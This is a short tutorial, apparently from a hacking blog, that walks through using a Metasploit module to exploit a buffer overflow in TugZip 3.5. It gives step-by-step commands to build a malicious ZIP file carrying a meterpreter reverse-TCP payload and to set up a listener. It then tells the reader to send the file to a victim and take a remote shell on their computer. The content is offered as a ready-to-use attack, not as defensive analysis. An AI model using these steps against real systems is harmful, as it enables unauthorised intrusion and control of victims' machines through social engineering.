Hack Windows PC in LAN with TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability

This module exploits stack-based buffer overflow vulnerability in the latest version 3.5 of Tug Zip archiving utility. In order to trigger the vulnerability, an attacker must convince someone to load a specially crafted zip file with Tug Zip by double click or file open. By doing so, an attacker can execute arbitrary code as the victim user.

Exploit Targets

Tug ZIP 3.5

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/fileformat/tugzip

Msf exploit (tugzip)>set payload windows/meterpreter/reverse_tcp

Msf exploit (tugzip)>set lhost 192.168.1.3 (IP of Local Host)

Msf exploit (tugzip)>set filename secret.zip

Msf exploit (tugzip)>exploit  

After we successfully generate the malicious ZIP File, it will stored on your local computer

/root/.msf4/local/secret.zip

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.3

exploit

Now send your secret.zip files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.